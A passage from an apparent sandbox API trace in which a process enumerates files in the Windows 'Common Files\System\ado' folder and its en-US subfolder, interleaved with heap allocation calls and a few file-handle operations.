Size=0x80) returned 0x124caf0 [0087.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbbe8 [0087.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0087.593] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.593] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2505b7e, ftCreationTime.dwHighDateTime=0x1ca040b, ftLastAccessTime.dwLowDateTime=0x2505b7e, ftLastAccessTime.dwHighDateTime=0x1ca040b, ftLastWriteTime.dwLowDateTime=0xab5eab23, ftLastWriteTime.dwHighDateTime=0x1ca03fd, nFileSizeHigh=0x0, nFileSizeLow=0x3a67, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0087.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbc08 [0087.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d370 [0087.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.595] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0087.595] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7465328, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb7465328, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x5fb141f0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0087.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.596] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.596] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.596] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.596] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99b80ab9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99b80ab9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99bccd79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0087.596] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.597] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.597] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.598] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.598] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab15afe, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ab15afe, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ab15afe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0087.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.598] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.599] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbc28 [0087.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d480 [0087.599] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.599] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab15afe, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ab15afe, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ab15afe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0087.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbc48 [0087.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d508 [0087.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.601] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab3bc5e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ab3bc5e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ab3bc5e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0087.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.602] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.602] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.602] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbc68 [0087.602] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d590 [0087.602] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.603] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab3bc5e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ab3bc5e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ab3bc5e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0087.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.603] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.603] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbc88 [0087.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d618 [0087.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.604] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab87f1f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ab87f1f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ab87f1f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0087.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.605] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.605] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbca8 [0087.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d6a0 [0087.606] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.606] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8abd41df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8abd41df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8abd41df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0087.606] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.606] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.606] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.607] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbcc8 [0087.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d728 [0087.607] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.607] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dae14ed, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9dae14ed, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dae14ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x56000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0087.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.608] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.608] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.609] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6fc88a7, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb6fc88a7, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xb6f0a1cc, ftLastWriteTime.dwHighDateTime=0x1ca0417, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0087.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbce8 [0087.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d7b0 [0087.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.610] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f0bf91, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f0bf91, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f0bf91, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0087.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.612] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9c1e89, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9e9c1e89, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9e9e7fe9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0087.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.613] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.613] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.613] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6e25992, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb6e25992, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xb6db3575, ftLastWriteTime.dwHighDateTime=0x1ca0417, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0087.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.614] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.614] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbd08 [0087.615] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb775ee94, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb775ee94, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9b894690, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0087.615] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831d597f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831d597f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831d597f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjro.dll", cAlternateFileName="")) returned 1 [0087.615] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831d597f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831d597f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831d597f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjro.dll", cAlternateFileName="")) returned 0 [0087.615] GetLastError () returned 0x12 [0087.615] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0087.615] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0087.615] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.615] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252bcdd, ftCreationTime.dwHighDateTime=0x1ca040b, ftLastAccessTime.dwLowDateTime=0x252bcdd, ftLastAccessTime.dwHighDateTime=0x1ca040b, ftLastWriteTime.dwLowDateTime=0xab6cf35d, ftLastWriteTime.dwHighDateTime=0x1ca03fd, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0087.615] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2505b7e, ftCreationTime.dwHighDateTime=0x1ca040b, ftLastAccessTime.dwLowDateTime=0x2505b7e, ftLastAccessTime.dwHighDateTime=0x1ca040b, ftLastWriteTime.dwLowDateTime=0xab5eab23, ftLastWriteTime.dwHighDateTime=0x1ca03fd, nFileSizeHigh=0x0, nFileSizeLow=0x3a67, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0087.615] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0087.615] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\en-US" (normalized: "c:\\program files (x86)\\common files\\system\\ado\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.616] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\en-US" (normalized: "c:\\program files (x86)\\common files\\system\\ado\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0087.617] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0087.617] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0087.617] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0087.617] NtClose (Handle=0x168) returned 0x0 [0087.617] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.617] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.617] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d8c0 [0087.618] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d948 [0087.618] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0087.618] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.618] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3080a8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0087.618] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d9d0 [0087.618] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d9d0) returned 1 [0087.618] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d9d0 [0087.619] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d9d0) returned 1 [0087.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d9d0 [0087.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0087.619] RtlFreeHeap 